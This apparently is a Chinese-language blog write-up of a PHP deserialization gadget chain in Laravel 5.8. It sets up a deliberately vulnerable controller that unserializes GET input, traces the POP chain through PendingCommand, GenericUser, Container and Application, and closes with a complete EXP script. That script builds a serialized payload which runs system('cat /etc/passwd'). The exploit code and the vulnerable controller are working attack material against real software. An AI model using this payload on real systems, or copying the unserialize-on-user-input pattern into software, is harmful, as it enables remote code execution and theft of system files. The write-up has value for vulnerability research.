Laravel 5.8 反序列化(一)
环境搭建
创建文件Http/Controllers/TestController.php
<?php namespace App\Http\Controllers; class TestController extends Controller { public function index(){ echo "Welcome Laravel58"; unserialize($_GET['url']); } }
添加路由routes/web.php
Route::get('/bug', 'TestController@index');
POP链分析
反序列化入口为src/Illuminate/Foundation/Testing/PendingCommand.php
跟进run
方法,危险函数入口位于call
方法,但之前需要执行mockConsoleOutput
方法
跟进方法mockConsoleOutput
这里通过debug之后会down在foreach ($this->test->expectedOutput as $i => $output)
,幸运的是这里两个变量都是类变量,
起初尝试寻找并实现expectedQuestions
属性,很困难,大量的抽象类以及trait型(tcl).这里学到一个trick:由于test可控可以赋值为任意对象,只要对象中存在__get
方法就能够绕过.这里利用的是Illuminate\Auth\GenericUser
类
构造如下也能够顺带绕过foreach ($this->test->expectedQuestions as $i => $question)
namespace Illuminate\Auth{
class GenericUser{
protected $attributes=array('expectedOutput'=>array("0"=>'1'),'expectedQuestions'=>array("0"=>"1"));
}
}
继续debug,down在bind函数实现这里
这里app可控,找到实现bind方法的类,全局搜索发现类Container满足
src/Illuminate/Contracts/Container/Container.php
成功执行完mockConsoleOutput
方法,接下来就是解决这一行,会从app对象中取出[Kernel:;class]
实例化
debug跟进到resolve
方法,直接利用这里的return 退出函数,如果不结束执行,之后会实例化Illuminate\Contracts\Console\Kernel
类,该类为接口类无法实例化,爆ERROR
由于这里是类变量是可控的,直接全局找可以调用到call
方法,定位到\Illuminate\Foundation\Application
类,该类父类实现了call
namespace Illuminate\Container{
class Container{
protected $instances;
public function __construct()
{
$this->instances['Illuminate\Contracts\Console\Kernel']=new \Illuminate\Foundation\Application();
}
}
}
最后调用call_user_func_array
成功执行代码
EXP
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command = 'system';
protected $parameters = array('cat /etc/passwd');
public $test;
protected $app;
public function __construct($test){
$this->test=$test;
$this->app=new \Illuminate\Container\Container();
}
}
}
namespace Illuminate\Container{
class Container{
protected $instances;
public function __construct()
{
$this->instances['Illuminate\Contracts\Console\Kernel']=new \Illuminate\Foundation\Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes=array('expectedOutput'=>array("0"=>'1'),'expectedQuestions'=>array("0"=>"1"));
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand((new Illuminate\Auth\GenericUser()))));
}
Picture
参考链接
http://adm1n.design/2019/08/15/laravel5.7-unserialize-RCE/#PendingCommand
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!